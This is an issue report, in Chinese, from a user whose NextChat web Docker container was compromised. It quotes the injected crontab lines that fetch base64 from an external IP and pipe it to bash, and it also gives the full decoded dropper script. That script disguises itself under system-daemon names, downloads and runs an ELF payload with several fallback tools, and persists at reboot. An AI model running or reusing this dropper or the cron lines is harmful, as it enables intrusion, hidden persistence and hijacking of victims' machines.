[Bug] nextchatweb容器被入侵了

部署方式

Docker

软件版本

v2.16.1

系统环境

Ubuntu

系统版本

Ubuntu 18.04.6 LTS

浏览器

Chrome

浏览器版本

任何

问题描述

服务器发送警报cpu占满了，登陆查看是nextchatweb容器里的crond进程100%了。crontab -l查看多了两行异常脚本@reboot busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash /3 * * * * busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash 解码该网址内容为#!/bin/bash [ -z "$OKDBG" ]&&exec 2>/dev/null H=45.198.224.93;P=8081 N="dbus-daemon systemd-journald systemd-resolved systemd-timesyncd systemd-udevd polkitd rsyslogd sshd cron crond auditd agetty nginx mysqld atd" Q=".cache .config .local .gnupg .dbus .pki .thumbnails" M=$(cat /etc/machine-id 2>/dev/null);[ -z "$M" ]&&M="$(hostname)-$(uname -s)-$(uname -m)" F="$M$(hostname)" h(){ command -v "$1" >/dev/null; } p(){ L=$1 S=$2 n=0 for I in $L;do n=$((n+1));done g=$(printf %s "$S"|cksum);g=${g%% };[ -z "$g" ]&&g=0 R=$((g%n+1));n=0 for I in $L;do n=$((n+1));[ "$n" = "$R" ]&&{ printf %s "$I";return;};done; } X=$(p "$N" "$F");Y=$(p "$Q" "$F") [ "$(id -u)" = 0 ]&&E="/usr/bin/$Y/$X"||E="${HOME:-/tmp}/$Y/$X" case $(uname -m) in x86_64|amd64)A=x86_64;;i386|i486|i586|i686)A=i686;;aarch64|arm64)A=aarch64;;armv7l|armv7|armv8l)A=armv7l;;)echo XR_FAILED_ARCH;exit 1;;esac v(){ [ -s "$1" ]&&[ "$(dd if="$1" bs=4 count=1 2>/dev/null)" = "$(printf '\177ELF')" ]; } d(){ U="http://$H:$P/elf.$A" h curl&&curl -fsSL --connect-timeout 10 --max-time 120 "$U" -o "$E"&&v "$E"&&return h wget&&wget -q -T 10 "$U" -O "$E"&&v "$E"&&return h busybox&&busybox wget -q -T 10 "$U" -O "$E"&&v "$E"&&return h perl&&perl -MIO::Socket::INET -e '($h,$p,$f,$o)=@ARGV;$s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp")or exit 1;print $s "GET $f HTTP/1.0\r\nHost: $h\r\nConnection: close\r\n\r\n";open(O,">",$o)or exit 1;while(<$s>){print O if $b;$b=1 if /^\r?$/}' "$H" "$P" "/elf.$A" "$E"&&v "$E"&&return h python3&&python3 -c 'import urllib.request as u;u.urlretrieve("'$U'","'$E'")'&&v "$E"&&return return 1; } mkdir -p "${E%/}" d||{ echo XR_FAILED_DL;exit 1; } chmod +x "$E" ( "$E" --dbg >/dev/null 2>&1 & ) S="$E.status";i=0 while [ $i -lt 240 ];do [ -s "$S" ]&&{ T=$(cat "$S");rm -f "$S";echo "$T";case "$T" in FAILED|TIMEOUT)exit 1;;*)exit 0;;esac;};sleep 1;i=$((i+1));done echo XR_STATUS:TIMEOUT;exit 1

复现步骤

难以复现

期望结果

希望修复网页漏洞

补充信息

No response